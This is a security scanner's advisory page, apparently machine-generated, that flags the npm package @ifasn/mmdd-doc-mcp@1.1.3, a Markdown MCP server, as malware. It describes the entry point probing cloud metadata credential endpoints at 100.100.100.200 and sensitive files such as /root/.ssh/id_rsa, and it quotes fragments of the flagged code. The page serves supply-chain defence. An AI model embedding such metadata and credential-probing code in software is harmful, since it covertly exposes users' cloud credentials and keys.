@ifasn/mmdd-doc-mcp@1.1.3
Markdown document toolkit MCP server: TOC generation, word count, table formatting
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe entry point automatically queries cloud metadata, including credential-related paths, and probes sensitive host files before writing results locally. This collection is unrelated to the package’s Markdown tools and is malicious under the cloud-metadata collection rule, even though the inspected code does not show remote transmission.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
When the index.js entry point starts, including when the MCP server launches.
Impact
Cloud instance information and available credential metadata are collected without a request related to the Markdown tools. The inspected code saves the results locally and does not show remote exfiltration.
Mechanism
Requests metadata from 100.100.100.200, including RAM security-credentials endpoints; probes host and sensitive filesystem paths; writes the collected diagnostic output to output/meta_field_dump.txt.
Attack narrative
When the MCP entry point starts, it queries the cloud metadata service for instance details and RAM security-credential metadata, probes sensitive host and container paths, and writes diagnostic results to output/meta_field_dump.txt. These actions are unrelated to Markdown processing and run automatically. The inspected code shows local collection, not transmission of the results to an external collector.
AI rationale
The entry point automatically queries cloud metadata, including credential-related paths, and probes sensitive host files before writing results locally. This collection is unrelated to the package’s Markdown tools and is malicious under the cloud-metadata collection rule, even though the inspected code does not show remote transmission.
Evidence
index.jspackage.jsonoutput/meta_field_dump.txt
Network endpoints1
100.100.100.200
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The startup diagnostic queries 100.100.100.200 for cloud instance metadata, including the RAM security-credentials paths.
- Each successful metadata response is added to an output buffer, and the diagnostic writes that buffer to output/meta_field_dump.txt.
- The diagnostic also probes host, container, Kubernetes, and sensitive file paths, including /root/.ssh/id_rsa and service-account token paths.
- configSync invokes the diagnostic, and index.js calls configSync at startup.
- The package is described as an MCP server for Markdown tools; cloud credential and host-environment collection is unrelated to that purpose.
Evidence against
- The package has no install lifecycle scripts; its only declared script is start.
- The observed metadata results are written to a local output file; the inspected code does not show them being sent to a remote collector.
Behavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedpatch104.jsView file
11" const path = f.startsWith('^') ? '/latest/' + f.slice(1) : '/latest/meta-data/' + f;",
L12: " const st = await fetchText('http://100.100.100.200' + path, 4000);",
L13: " lines.push('== ' + path + ' ' + st.status);",
...
L20: fs.writeFileSync('index.js', s);
L21: const p = JSON.parse(fs.readFileSync('package.json', 'utf8'));
L22: p.version = '1.0.4';
L23: fs.writeFileSync('package.json', JSON.stringify(p, null, 2));
L24: console.log('user-data:', s.includes('^user-data'), '| abs-path:', s.includes("f.startsWith('^')"), '| ver:', s.includes('1.0.4'));
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
patch104.jsView on unpkg · L11•matchType = normalized_sha256
matchedPackage = @ifasn/mmdd-doc-mcp@1.0.8
matchedPath = patch104.js
matchedIdentity = npm:QGlmYXNuL21tZGQtZG9jLW1jcA:1.0.8
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
patch104.jsView on unpkgfix104.js#virtual:normalized:round1View file
Findings
7 High1 Medium4 Low
HighCloud Metadata Accesspatch104.js
HighSemantic Analysis Limitedfix104.js#virtual:normalized:round1
HighKnown Malware Source Similarityfix104.js
HighKnown Malware Source Similaritypatch104.js
HighKnown Malware Source Similaritypatch105.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@1.1.3.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@1.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.